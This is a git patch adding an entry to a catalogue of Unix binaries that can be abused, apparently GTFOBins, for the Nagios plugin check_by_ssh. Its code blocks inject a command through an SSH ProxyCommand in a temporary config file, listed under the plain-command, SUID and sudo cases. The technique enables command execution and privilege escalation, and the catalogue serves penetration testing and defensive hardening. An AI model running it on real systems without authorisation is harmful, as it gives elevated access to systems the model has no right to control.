From 127738e9276a8a434bd46a8bde67b01e0fa27d62 Mon Sep 17 00:00:00 2001
From: Emanuel Duss <emanuel.duss@gmail.com>
Date: Thu, 12 Nov 2020 14:21:00 +0100
Subject: [PATCH] New command: check_by_ssh

---
 _gtfobins/check_by_ssh.md | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)
 create mode 100644 _gtfobins/check_by_ssh.md

diff --git a/_gtfobins/check_by_ssh.md b/_gtfobins/check_by_ssh.md
new file mode 100644
index 0000000..dedf47b
--- /dev/null
+++ b/_gtfobins/check_by_ssh.md
@@ -0,0 +1,29 @@
+---
+description: |
+  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
+functions:
+  command:
+    - code: |
+        COMMAND='/usr/bin/id'
+        OUTPUT="output_file"
+        TF=$(mktemp)
+        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
+        check_by_ssh -F "$TF" -H localhost -C something
+        cat $OUTPUT
+  suid:
+    - code: |
+        COMMAND='/usr/bin/id'
+        OUTPUT="output_file"
+        TF=$(mktemp)
+        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
+        check_by_ssh -F "$TF" -H localhost -C something
+        cat $OUTPUT
+  sudo:
+    - code: |
+        COMMAND='/usr/bin/id'
+        OUTPUT="output_file"
+        TF=$(mktemp)
+        echo "ProxyCommand \"$COMMAND\" | tee \"$OUTPUT\"" > $TF
+        check_by_ssh -F "$TF" -H localhost -C something
+        cat $OUTPUT
+---